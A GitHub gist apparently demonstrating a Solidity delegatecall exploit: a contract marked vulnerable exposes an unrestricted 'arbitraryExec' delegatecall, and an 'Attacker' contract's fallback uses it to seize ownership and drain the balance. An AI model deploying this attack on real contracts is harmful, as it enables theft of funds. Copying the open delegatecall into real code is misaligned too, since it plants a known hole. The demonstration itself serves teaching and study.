Created
June 29, 2018 15:25
-
-
Save wadealexc/54ba389c74fb082f6b31e309f7f78ef9 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity ^0.4.23; | |
contract Attacker { | |
address public owner; | |
function () public { | |
owner = msg.sender; | |
msg.sender.transfer(address(this).balance); | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity ^0.4.23; | |
/// VULNERABLE CONTRACT - DO NOT USE | |
contract Vulnerable { | |
address public owner; | |
constructor () public payable { | |
require(msg.value != 0); | |
owner = msg.sender; | |
} | |
modifier onlyOwner() { | |
require(msg.sender == owner); | |
_; | |
} | |
function () public payable { } | |
function withdraw() public onlyOwner() { | |
msg.sender.transfer(address(this).balance); | |
} | |
function getBal() public view returns (uint) { | |
return address(this).balance; | |
} | |
function arbitraryExec(address _target) public { | |
require(_target.delegatecall()); | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment